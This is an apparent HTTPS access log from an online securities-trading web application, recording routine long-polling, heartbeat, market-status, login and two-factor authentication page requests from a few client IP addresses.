[09/Jan/2026:09:22:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921997732 HTTP/1.1" -
[09/Jan/2026:09:22:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922002874 HTTP/1.1" -
[09/Jan/2026:09:22:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922000051 HTTP/1.1" -
[09/Jan/2026:09:22:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:22:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:22:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922008025 HTTP/1.1" -
[09/Jan/2026:09:22:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:22:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:22:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922006046 HTTP/1.1" -
[09/Jan/2026:09:22:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922013219 HTTP/1.1" -
[09/Jan/2026:09:22:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922012056 HTTP/1.1" -
[09/Jan/2026:09:22:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922018273 HTTP/1.1" -
[09/Jan/2026:09:22:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922018060 HTTP/1.1" -
[09/Jan/2026:09:22:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922023427 HTTP/1.1" -
[09/Jan/2026:09:22:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922024057 HTTP/1.1" -
[09/Jan/2026:09:22:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922028540 HTTP/1.1" -
[09/Jan/2026:09:22:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922030051 HTTP/1.1" -
[09/Jan/2026:09:22:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922033790 HTTP/1.1" -
[09/Jan/2026:09:22:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:22:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:22:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:22:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:22:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:22:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922036058 HTTP/1.1" -
[09/Jan/2026:09:22:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922038941 HTTP/1.1" -
[09/Jan/2026:09:22:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922044004 HTTP/1.1" -
[09/Jan/2026:09:22:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922042048 HTTP/1.1" -
[09/Jan/2026:09:22:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922049101 HTTP/1.1" -
[09/Jan/2026:09:22:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922048050 HTTP/1.1" -
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922064211 HTTP/1.1" 3188
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:23:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:23:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922054287 HTTP/1.1" -
[09/Jan/2026:09:23:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922054058 HTTP/1.1" -
[09/Jan/2026:09:23:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:09:23:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:09:23:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:23:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 465
[09/Jan/2026:09:23:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922059528 HTTP/1.1" -
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:23:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922071744 HTTP/1.1" 3188
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:23:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922060051 HTTP/1.1" -
[09/Jan/2026:09:23:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922064663 HTTP/1.1" -
[09/Jan/2026:09:23:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:23:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922066055 HTTP/1.1" -
[09/Jan/2026:09:23:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922069808 HTTP/1.1" -
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
